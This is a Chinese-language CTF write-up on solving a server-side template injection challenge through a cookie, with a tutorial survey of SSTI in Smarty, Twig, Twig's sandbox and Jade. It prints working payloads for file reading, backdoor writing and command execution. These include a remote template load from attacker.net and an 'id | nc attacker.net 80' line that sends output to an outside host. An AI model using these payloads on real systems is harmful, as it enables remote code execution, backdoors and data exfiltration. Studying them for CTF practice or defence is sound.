打开题目,看名字觉得和COOKIE注入有关,打开后看看hint的源代码发现了这个
打开flag界面发现有个输入点,抓包看看嘛
发现COOKIE,而且输入的username在返回中看到了,sql注入不存在,所以应该是ssti模板注入
之前做题做到过,但是没做完整,这次趁这个机会学习一下!模板的开发初衷也是为了让业务代码和逻辑代码分离,大大提高开发效率,良好的设计也让代码重用变得更加容易。与此同时,它也拓展了黑客的攻击面,之前的XSS可以通过诸如带模板触发,除此之外,RCE也可以,虽然模板引擎会提供沙箱机制,但是还是会有很多手段饶过他,攻防无绝对嘛!
什么是服务端模板注入
为什么要在模板注入前面加服务端,是为了和jQuery,KnockoutJS 产生的客户端模板注入区别开来。前者可以让攻击者执行任意代码,而后者只能 XSS。
通过模板,Web英语可以把输入转化成特定的HTML文件或者email格式。就拿一个销售软件来说,我们假设它会发送大量的邮件给客户,并在每封邮件前SKE插入问候语,它会通过Twig(一个模板引擎)做如下处理:
$output = $twig->render( $_GET['custom_email'] , array("first_name" => $user.first_name) );
我是在大佬那学到的这个,现在仔细读读发现可以XSS,但是问题不止如此。这行代码其实还有问题,假设我们发送的请求是
custom_email={{7*7}}
那么返回的会是
49 //$output结果
很明显服务器执行了我们传过去的数据,而不是简单解析。每当服务器用模板引擎执行用户的输入时,这类问题都有可能发生。除了常规的输入外,攻击者还可以通过 LFI(文件包含)触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎执行。
探测
文本类
大部分的模板语言支持我们输入HTML,比如:
smarty=Hello {user.name}
Hello user1freemarker=Hello ${username}
Hello newuserany=Hello
Hello
未经过滤的输入会产生 XSS,我们可以利用 XSS 做我们最基本的探针。除此之外,模板语言的语法和 HTML 语法相差甚大,因此我们可以用其独特的语法来探测漏洞。虽然各种模板的实现细节不大一样,不过它们的基本语法大致相同,我们可以发送如下 payload:
smarty=Hello ${7*'7'}
Hello 49freemarker=Hello ${7*'7'}
Hello 49
来确认漏洞是否阳性
代码类
在一些环境下,用户的输入也会被当作模板的可执行代码。比如说变量名:
personal_greeting=username
Hello user01
这种情况下,XSS 的方法就无效了。但是我们可以通过破坏 template 语句,并附加注入的HTML标签以确认漏洞:
personal_greeting=username
Hello
personal_greeting=username}}
Hello user01
通过这种方式可以判断属于哪种模板引擎,绿色代表成功返回,红色失败;原理是同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*'7'}}会在 Twig 中返回49,而在 Jinja2 中则是7777777
举点栗子吧
Smart
Smarty 是一款 PHP 的模板语言。它使用安全模式来执行不信任的模板。它只运行 PHP 白名单里的函数,因此我们不能直接调用 system()。然而我们可以从模板已有的类中进行任意调用。而文档表示我们可以通过 $smarty 来获取许多环境变量(比如当前变量的位置 $SCRIPT_NAME)。后面,我们又发现了 getStreamVariable:
这个函数能任意读取有读写权限的文件:
{self::getStreamVariable("file:///proc/self/loginuid")}
1000
{self::getStreamVariable($SCRIPT_NAME)}
define("SMARTY_DIR",'/usr/share/php/Smarty/');
require_once(SMARTY_DIR.'Smarty.class.php');
不仅如此,我们能任意调用静态方法,这当中包括一个可以创建和重写文件的方法public function writeFile($filepath, $contents, Smarty $smarty)。通过该方法,我们能轻松在web目录下创建后门。值得注意的是,第三个参数必须为 Smarty 对象,所以我们要想办法得到 Smarty 对象的引用。
非常幸运,self::clearConfig帮助我们获取对象:
public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}
最后,我们就可以创建后门了!
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())}
Twig
Twig 和 Smarty 类似,不过我们不能用它调用静态方法。幸运的是,它提供了 _self,我们并不需要暴力枚举变量名。虽然 _self 没什么有用的方法,它提供了指向 Twig_Environment 的env 属性。Twig_Environment 其中的 setCache 方法则能改变 Twig 加载 PHP 文件的路径。这样一来,我们就可以通过改变路径实现 RFI了:
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
但是,PHP 默认禁止远程文件包含(关闭 allow_url_include),因此上述 payload 不能生效。进一步探索,我们在 getFilter 里发现了危险函数 call_user_func。通过传递传递参数到该函数中,我们可以调用任意 PHP 函数:
public function getFilter($name){...foreach ($this->filterCallbacks as $callback) {if (false !== $filter = call_user_func($callback, $name)) {return $filter;}}return false;
}public function registerUndefinedFilterCallback($callable)
{$this->filterCallbacks[] = $callable;
}
我们只需注册 exec 为 filter 的回调函数,并如此调用:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Twig(沙箱模式)
Twig 的沙箱模式有额外的限制。它会禁用一部分函数(包括开发者提供的对象),因此我们并不能调用有价值的东西。万幸的是,这部分代码帮助我们突破限制:
public function checkMethodAllowed($obj, $method)
{if ($obj instanceof Twig_TemplateInterface || $obj instanceof Twig_Markup) {return true;
}
这里,我们可以调用实现 Twig_TemplateInterface 的对象,也就是说我们可以简介使用 self.,self.中的 displayBlock 让我们更上一层楼:
public function displayBlock($name, array $context, array $blocks = array(), $useBlocks =
true)
{$name = (string) $name;if ($useBlocks && isset($blocks[$name])) {$template = $blocks[$name][0];$block = $blocks[$name][1];} elseif (isset($this->blocks[$name])) {$template = $this->blocks[$name][0];$block = $this->blocks[$name][1];} else {$template = null;$block = null;}if (null !== $template) {try {$template->$block($context, $blocks);} catch (Twig_Error $e) {...
我们可以用$template ->$block($context, $blocks)绕过白名单限制。以下的代码会调用 userObject 对象的 vulnerableMethod:{{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}。虽然现在不能获得环境变量,但我们可以利用 _context 属性查找开发者自定义的对象并调用有用的目标。
Jade
Jade 是一款 Node.js 模板引擎。http://CodePen.io
http://CodePen.io
http://CodePen.io 则可以接受用户递交该模板。
首先,让我们来确认模板可以执行代码:
= 7*7//结果:49
再来确认 self 对象的位置:
= root//结果:[object global]
我们来列一下对象属性和函数:
- var x = root
- for(var prop in x)
, #{prop}, ArrayBuffer, Int8Array, Uint8Array, Uint8ClampedArray... global, process, GLOBAL, root
这些可能是可利用的函数:
- var x = root.process
- for(var prop in x)
, #{prop}, title, version, moduleLoadList... mainModule, setMaxListeners, emit, once
绕过保护机制:
- var x = root.process.mainModule
- for(var prop in x)
, #{prop}
因为安全原因,CodePen阻止了你的语句
请删除下列关键字后进行尝试
->process
->mainModule
- var x = root.process
- x = x.mainModule
- for(var prop in x)
, #{prop}, id, exports, parent, filename, loaded, children, paths, load, require, _compile
确定有用的函数:
- var x = root.process
- x = x.mainModule.require- x('a')
Cannot find module 'a'
最终 exp:
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
回到这个题
我们根据{{7*'7'}}得到了49可以知道是Twig
{{7*'7'}} 回显7777777 ==> Jinja2
{{7*'7'}} 回显49 ==> Twig
至于这里为什么是user,是因为返回的包里面有提示
Set-COOKIE: user
所以这个模板注入是Twig注入,由于是Twig注入,所以是有固定的payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag
这里注意要在PHPSESSID后user前加上;分隔开
总结:
学习了一下ssti注入,原来都有模板可以套,希望有一天我是创造模板的人!
感谢BUU提供优质题目,感谢勤奋的自己